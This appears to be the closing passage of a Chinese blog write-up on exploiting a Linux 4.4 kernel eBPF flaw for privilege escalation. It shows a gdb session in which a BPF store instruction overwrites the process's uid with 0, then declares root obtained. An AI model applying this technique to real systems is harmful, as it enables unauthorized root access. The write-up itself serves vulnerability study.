    $40 = {val = 1000}
    (gdb) ni
    Thread 1 hit Breakpoint 13, 0xffffffff811778b8 in __bpf_prog_run (ctx=0xffff8800746c9d80, 
        insn=0xffffc900005b5168) at /build/linux-fQ94TU/linux-4.4.0/kernel/bpf/core.c:856
    856                 LDST(DW, u64)
    (gdb) p ((struct task_struct*)0xffff880079afe900)->cred->uid
    $41 = {val = 0} //此时uid已经变为0
    (gdb) x/10i $rip-12
       0xffffffff811778ac <__bpf_prog_run+3612>:       mov    rax,QWORD PTR [rbp+rax*8-0x270]
       0xffffffff811778b4 <__bpf_prog_run+3620>:       mov    QWORD PTR [rcx+rdx*1],rax //就是这里改变了uid的值
    => 0xffffffff811778b8 <__bpf_prog_run+3624>:       jmp    0xffffffff81176ae0 <__bpf_prog_run+80>
       0xffffffff811778bd <__bpf_prog_run+3629>:       movzx  eax,BYTE PTR [rbx+0x1]
       0xffffffff811778c1 <__bpf_prog_run+3633>:       movsx  rdx,WORD PTR [rbx+0x2]
       0xffffffff811778c6 <__bpf_prog_run+3638>:       add    rbx,0x8
       0xffffffff811778ca <__bpf_prog_run+3642>:       movsxd rcx,DWORD PTR [rbx-0x4]
       0xffffffff811778ce <__bpf_prog_run+3646>:       and    eax,0xf
       0xffffffff811778d1 <__bpf_prog_run+3649>:       mov    rax,QWORD PTR [rbp+rax*8-0x270]
       0xffffffff811778d9 <__bpf_prog_run+3657>:       mov    QWORD PTR [rax+rdx*1],rcx
    (gdb) x/1l ($rcx+$rdx*1)  //$rcx+$rdx*1的值0xffff880075b7ca84即为uid的地址
    0xffff880075b7ca84: Undefined output format "l".
    (gdb) p &((struct task_struct*)0xffff880079afe900)->cred->uid
    $43 = (kuid_t *) 0xffff880075b7ca84
    (gdb) i r $rax  //此时rax为我们需要些到uid地址的值0
    rax            0x0  0
    (gdb)

    提权成功:

    到此整个漏洞利用完成,后面的部分写的有点仓促了,如果有错误的地方,还请各位朋友不吝赐教。
  • 相关阅读:
    es5预览本地文件、es6练习代码演示案例
    Java实现 LeetCode 838 推多米诺(暴力模拟)
    Java实现 LeetCode 838 推多米诺(暴力模拟)
    Java实现 LeetCode 838 推多米诺(暴力模拟)
    Java实现 LeetCode 837 新21点(DP)
    Java实现 LeetCode 837 新21点(DP)
    Java实现 LeetCode 837 新21点(DP)
    Java实现 LeetCode 836 矩形重叠(暴力)
    Subversion under Linux [Reprint]
    Subversion how[Reprint]
  • 原文地址:https://www.cnblogs.com/rebeyond/p/8921307.html
Copyright © 2011-2022 走看看